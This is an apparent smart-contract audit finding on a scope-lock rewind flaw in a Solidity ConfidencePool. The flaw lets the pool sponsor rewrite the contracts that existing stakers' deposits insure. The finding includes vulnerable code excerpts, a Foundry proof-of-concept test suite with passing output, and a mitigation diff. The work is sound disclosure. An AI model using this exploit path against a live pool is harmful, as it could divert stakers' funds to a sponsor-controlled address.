FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: medium

Scope lock is not rewind resistant: a benign attack request rejection reverts the agreement to a pre attack state, letting the sponsor rewrite the coverage existing stakers already underwrote

Author Revealed upon completion

Scope lock is not rewind-resistant: a benign attack-request rejection reverts the agreement to a pre-attack state, letting the sponsor rewrite the coverage existing stakers already underwrote

Severity: Medium


Description

A ConfidencePool treats its scope (the flat list of BattleChain accounts the pool insures) as a permanent, one-way commitment. _observePoolState() is supposed to latch scopeLocked = true the first time the agreement is seen in any state past pre-attack staging (NOT_DEPLOYED / NEW_DEPLOYMENT), after which setPoolScope must always revert. This bounds each staker's exposure to exactly the contracts they underwrote at deposit time. The protocol already recognises that the upstream registry can rewind to an earlier state — withdraw() is deliberately hardened against it by gating on the one-way riskWindowStart != 0 latch rather than on live registry state.

The scope lock has no such rewind-resistant latch. scopeLocked is only ever committed by a successful registry observation, and nothing anchors the "agreement has left staging" fact against a later rewind. Two gaps follow. First, the pool's only permissionless sealing entrypoint, pokeRiskWindow(), observes the post-staging state, sets scopeLocked = true, and then reverts with RiskWindowNotReached for any non-active-risk state such as ATTACK_REQUESTED — the EVM rolls the write back, directly contradicting the function's own natspec ("side effects are one-way and safe to call repeatedly"). Second, and decisively, whenever the lock was never durably persisted during the post-staging window, the registry moderator's ordinary rejectAttackRequest() call deletes the agreement's registry record — so _getAgreementState() again returns NOT_DEPLOYED — and setPoolScope succeeds, re-pointing live deposits at a scope the stakers never agreed to.

// src/ConfidencePool.sol — _observePoolState(): the ONLY place scopeLocked is written, and it is
// not durable against a later registry rewind.
function _observePoolState() internal returns (IAttackRegistry.ContractState state) {
state = _getAgreementState();
if (
!scopeLocked && state != IAttackRegistry.ContractState.NOT_DEPLOYED
&& state != IAttackRegistry.ContractState.NEW_DEPLOYMENT
) {
@> scopeLocked = true; // committed only if the surrounding tx SUCCEEDS
emit ScopeLocked(block.timestamp);
}
...
}
// src/ConfidencePool.sol — pokeRiskWindow(): observes the post-staging state, sets the lock,
// then reverts for ATTACK_REQUESTED (neither active-risk nor terminal), discarding the write.
function pokeRiskWindow() external {
if (outcome != PoolStates.Outcome.UNRESOLVED) return;
_observePoolState(); // sets scopeLocked = true for ATTACK_REQUESTED ...
@> if (riskWindowStart == 0 && riskWindowEnd == 0) revert RiskWindowNotReached(); // ... then rolls it back
}
// src/ConfidencePool.sol — setPoolScope(): re-checks scopeLocked, but once the registry has
// rewound to NOT_DEPLOYED the re-observation does NOT re-lock, so the gate passes.
function setPoolScope(address[] calldata accounts) external onlyOwner {
_observePoolState(); // state == NOT_DEPLOYED after the rewind → no re-lock
@> if (scopeLocked) revert ScopePostLockImmutable();
_replaceScope(accounts); // coverage silently rewritten under existing stakers
}
// src/ConfidencePool.sol — withdraw(): CONTRAST. This lifecycle gate IS rewind-resistant because
// it latches on the one-way riskWindowStart, not on live registry state. Scope has no equivalent.
if (
@> riskWindowStart != 0 // one-way latch survives an upstream registry rewind
|| (state != IAttackRegistry.ContractState.NOT_DEPLOYED
&& state != IAttackRegistry.ContractState.NEW_DEPLOYMENT
&& state != IAttackRegistry.ContractState.ATTACK_REQUESTED)
) {
revert WithdrawsDisabled();
}

The upstream transition the exploit relies on is a documented, non-malicious registry operation:

// lib/battlechain-safe-harbor-contracts/src/AttackRegistry.sol — rejectAttackRequest()
function rejectAttackRequest(address agreementAddress, bool slashBond) external onlyRegistryModerator {
ContractState currentState = _getAgreementState(agreementAddress);
if (currentState != ContractState.ATTACK_REQUESTED) revert AttackRegistry__InvalidState(currentState);
...
emit AgreementStateChanged(agreementAddress, ContractState.NOT_DEPLOYED);
@> delete s_agreementInfo[agreementAddress]; // isRegistered → false ⇒ state reads NOT_DEPLOYED again
...
}

Risk

Likelihood:

  • The agreement sits in ATTACK_REQUESTED for the entire interval between an attack request being filed and the DAO acting on it. requestUnderAttack is callable by the agreement owner (i.e. the pool sponsor) or arises from any attack alarm, so reaching this state is a routine, sponsor-reachable event rather than an edge case.

  • rejectAttackRequest() returns the agreement to NOT_DEPLOYED by deleting its registry record. This is the registry's documented response to any spurious, unapproved, or withdrawn attack request (soft-reject returns bond, hard-reject slashes it) — a normal DAO operation, not a compromise of a trusted actor.

  • The lock stays unpersisted across that window whenever the only pool interaction is pokeRiskWindow() (which reverts and rolls the write back) or when there is no pool interaction at all during the brief ATTACK_REQUESTED interval. The sponsor observes scopeLocked == false on-chain and acts only when the exploit is already available.

  • The pool sponsor is an untrusted actor in the protocol's own trust model (DESIGN §10 enumerates the sponsor trust surface and treats scope immutability as a staker protection against the sponsor). The attacker here is the sponsor; the DAO's rejectAttackRequest is an honest action that merely opens the window.

Impact:

  • The core staker guarantee — "stakers' exposure is bounded by what they signed up for at deposit time" (DESIGN §8, verbatim) — is broken. Live deposits are re-pointed to a set of contracts the stakers never underwrote, after the point at which the design promises the scope is permanently frozen.

  • Because scope is the binding on-chain record the moderator uses to decide SURVIVED vs CORRUPTED, a sponsor can swap in a contract they expect to be breached; on the resulting CORRUPTED resolution the entire pool — up to the full principal and bonus of every staker who does not exit before the window recloses — is swept to the sponsor-controlled recoveryAddress. Actively-monitoring stakers retain a withdraw exit, but the permanent-lock invariant exists precisely so passive stakers are not forced to police post-lifecycle scope swaps; those stakers suffer the loss.


Proof of Concept

Drop-in Foundry test at test/audit/ConfidencePoolM01.t.sol. The first case reproduces the reported path (poke reverts, lock rolled back, scope rewritten). The second case is the important one: it runs the identical exploit with the pokeRiskWindow call deleted entirely, proving the poke is not causally required and that the root cause is the missing rewind-resistant latch. The third case confirms the lock is durable when a single ordinary deposit persists it.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
contract ConfidencePoolM01Test is BaseConfidencePoolTest {
// Reported path: pokeRiskWindow observes ATTACK_REQUESTED, sets the lock, then reverts and
// rolls it back; after the registry rewinds the sponsor rewrites the scope.
function test_M01_ScopeLockIsRolledBack() external {
_stake(alice, 100 * ONE);
address replacementAccount = address(0xBEEF);
agreementContract.setContractInScope(replacementAccount, true);
assertTrue(pool.isAccountInScope(DEFAULT_SCOPE_ACCOUNT));
assertFalse(pool.scopeLocked());
attackRegistry.setAgreementState(IAttackRegistry.ContractState.ATTACK_REQUESTED);
vm.expectRevert(IConfidencePool.RiskWindowNotReached.selector);
pool.pokeRiskWindow(); // sets scopeLocked=true, then reverts → rolled back
assertFalse(pool.scopeLocked());
attackRegistry.setAgreementState(IAttackRegistry.ContractState.NOT_DEPLOYED); // rejectAttackRequest
address[] memory newScope = new address[](1);
newScope[0] = replacementAccount;
pool.setPoolScope(newScope); // succeeds despite the agreement having left staging
assertFalse(pool.isAccountInScope(DEFAULT_SCOPE_ACCOUNT));
assertTrue(pool.isAccountInScope(replacementAccount));
assertEq(pool.eligibleStake(alice), 100 * ONE); // Alice's deposit now underwrites a new scope
}
// ROOT-CAUSE PROOF: identical exploit, no pokeRiskWindow call anywhere. Still succeeds.
function test_M01_ExploitWorks_WithoutAnyPoke() external {
_stake(alice, 100 * ONE);
address replacementAccount = address(0xBEEF);
agreementContract.setContractInScope(replacementAccount, true);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.ATTACK_REQUESTED);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.NOT_DEPLOYED); // no pool interaction between
assertFalse(pool.scopeLocked());
address[] memory newScope = new address[](1);
newScope[0] = replacementAccount;
pool.setPoolScope(newScope);
assertTrue(pool.isAccountInScope(replacementAccount));
assertEq(pool.eligibleStake(alice), 100 * ONE);
}
// Control: one ordinary deposit during ATTACK_REQUESTED persists the lock; exploit then fails.
function test_M01_ExploitFails_IfLockPersistedByStake() external {
_stake(alice, 100 * ONE);
address replacementAccount = address(0xBEEF);
agreementContract.setContractInScope(replacementAccount, true);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.ATTACK_REQUESTED);
_stake(bob, 100 * ONE); // _observePoolState persists scopeLocked = true
assertTrue(pool.scopeLocked());
attackRegistry.setAgreementState(IAttackRegistry.ContractState.NOT_DEPLOYED);
address[] memory newScope = new address[](1);
newScope[0] = replacementAccount;
vm.expectRevert(IConfidencePool.ScopePostLockImmutable.selector);
pool.setPoolScope(newScope);
}
}

Run:

forge test --match-contract ConfidencePoolM01Test -vv

Result (all three pass; note the poke-free case succeeds):

[PASS] test_M01_ExploitFails_IfLockPersistedByStake()
[PASS] test_M01_ExploitWorks_WithoutAnyPoke()
[PASS] test_M01_ScopeLockIsRolledBack()
Suite result: ok. 3 passed; 0 failed; 0 skipped

Recommended Mitigation

Two complementary changes. The first honours the pokeRiskWindow natspec and closes the write-then-revert gap; the second — the load-bearing fix — makes the scope commitment durable against a registry rewind by anchoring it to an event the sponsor cannot undo (the first deposit), exactly mirroring the existing one-way expiryLocked latch. Anchoring on the first stake also fixes the "no observation at all" path, which a poke-only fix cannot reach because the registry deletes its own history on reject.

function pokeRiskWindow() external {
if (outcome != PoolStates.Outcome.UNRESOLVED) return;
- _observePoolState();
- if (riskWindowStart == 0 && riskWindowEnd == 0) revert RiskWindowNotReached();
+ bool wasScopeLocked = scopeLocked;
+ uint32 startBefore = riskWindowStart;
+ uint32 endBefore = riskWindowEnd;
+ _observePoolState();
+ // A newly persisted scope lock counts as successful synchronization even when neither risk
+ // timestamp changes — never set a one-way latch and then revert it away.
+ bool sealed = scopeLocked != wasScopeLocked
+ || riskWindowStart != startBefore
+ || riskWindowEnd != endBefore;
+ if (!sealed) revert RiskWindowNotReached();
}
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
...
_assertDepositsAllowed(_observePoolState());
if (!expiryLocked) {
expiryLocked = true;
}
+ // Freeze coverage the moment anyone underwrites it. Independent of live registry state, so a
+ // later ATTACK_REQUESTED -> NOT_DEPLOYED rewind cannot re-open scope for existing stakers.
+ if (!scopeLocked) {
+ scopeLocked = true;
+ emit ScopeLocked(block.timestamp);
+ }
...
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!